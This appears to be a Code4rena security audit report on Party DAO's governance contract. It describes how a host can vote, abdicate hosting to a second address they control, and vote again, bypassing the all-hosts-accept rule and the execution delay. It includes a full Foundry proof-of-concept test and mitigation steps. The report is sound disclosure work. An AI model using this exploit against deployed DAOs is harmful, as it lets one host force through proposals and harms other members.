Party DAO - P12473's results

Lines of code

https://github.com/code-423n4/2023-10-party/blob/main/contracts/party/PartyGovernance.sol#L457-L472 https://github.com/code-423n4/2023-10-party/blob/main/contracts/party/PartyGovernance.sol#L1122-L1127

Vulnerability details

Impact

If done correctly, the _hostsAccepted() check will always return true despite only one host voting. This will bypass the execution period configured so proposals can be executed immediately once they have passed.

Proof of Concept

The root of this issue lies with the fact that a host status is not tied to a snapshot so if a host owns multiple addresses with valid snapshot voting power, the host can call abdicateHost() to another address that he controls and vote again.

You can add the following proof of concept to the PartyGovernance.t.sol test.

function testGovernance_bypassAllHostsAccept_abdicateHost() public {
    (
        Party party,
        IERC721[] memory preciousTokens,
        uint256[] memory preciousTokenIds
    ) = partyAdmin.createParty(
            partyImpl,
            PartyAdmin.PartyCreationMinimalOptions({
                host1: address(this),
                host2: address(steve),
                passThresholdBps: 5000,
                totalVotingPower: 43,
                preciousTokenAddress: address(toadz),
                preciousTokenId: 1,
                rageQuitTimestamp: 0,
                feeBps: 0,
                feeRecipient: payable(0)
            })
        );
    DummySimpleProposalEngineImpl engInstance = DummySimpleProposalEngineImpl(address(party));

    // Mint first governance NFT to John (non host)
    partyAdmin.mintGovNft(party, address(john), 22, address(john));
    assertEq(party.votingPowerByTokenId(1), 22);
    assertEq(party.ownerOf(1), address(john));

    // Mint second governance NFT to Danny (non host)
    partyAdmin.mintGovNft(party, address(danny), 21, address(danny));
    assertEq(party.votingPowerByTokenId(2), 21);
    assertEq(party.ownerOf(2), address(danny));

    // Mint third governance NFT to an address that first host controls
    // In this example, voting power doesn't matter since first host already has > 50%
    PartyParticipant addressOwnedByFirstHost = new PartyParticipant();
    partyAdmin.mintGovNft(party, address(addressOwnedByFirstHost), 0, address(addressOwnedByFirstHost));
    assertEq(party.votingPowerByTokenId(3), 0);
    assertEq(party.ownerOf(3), address(addressOwnedByFirstHost));

    // Generate proposal
    PartyGovernance.Proposal memory p1 = PartyGovernance.Proposal({
        maxExecutableTime: 9999999999,
        proposalData: abi.encodePacked([0]),
        cancelDelay: uint40(1 days)
    });

    // John creates a proposal and calls accept() internally.
    john.makeProposal(party, p1, 2);

    // Verify proposal status and expected num votes
    _assertProposalStatus(party, 1, PartyGovernance.ProposalStatus.Passed, 22);

    // First host accepts
    party.accept(1, 0);

    // Abdicate host to the address that the first host controls
    party.abdicateHost(address(addressOwnedByFirstHost));
    assertEq(party.numHosts(), 2);

    // First host uses his second address to vote again.
    vm.prank(address(addressOwnedByFirstHost));
    party.accept(1, 0);

    // "all" hosts excepted even though Steve didn't vote
    _assertProposalStatus(party, 1, PartyGovernance.ProposalStatus.Ready, 22);
    assertEq(engInstance.getLastExecutedProposalId(), 0);
    assertEq(engInstance.getNumExecutedProposals(), 0);

    // Execute proposal
    john.executeProposal(
        party,
        PartyParticipant.ExecutionOptions({
            proposalId: 1,
            proposal: p1,
            preciousTokens: preciousTokens,
            preciousTokenIds: preciousTokenIds,
            progressData: abi.encodePacked([address(0)])
        })
    );

    // Ensure execution occurred
    _assertProposalStatus(party, 1, PartyGovernance.ProposalStatus.Complete, 22);
    assertEq(engInstance.getFlagsForProposalId(1), LibProposal.PROPOSAL_FLAG_HOSTS_ACCEPT);
    assertEq(engInstance.getLastExecutedProposalId(), 1);
    assertEq(engInstance.getNumExecutedProposals(), 1);
}

Tools Used

Manual analysis, foundry

Recommended Mitigation Steps

1. Modify the VotingPowerSnapshot struct to also include the host status.
2. In the accept() function, modify the isHost check to check the host status from the snapshot instead of the isHost mapping.
3. Whenever abdicateHost() is called, insert a new snapshot.

Assessed type

Invalid Validation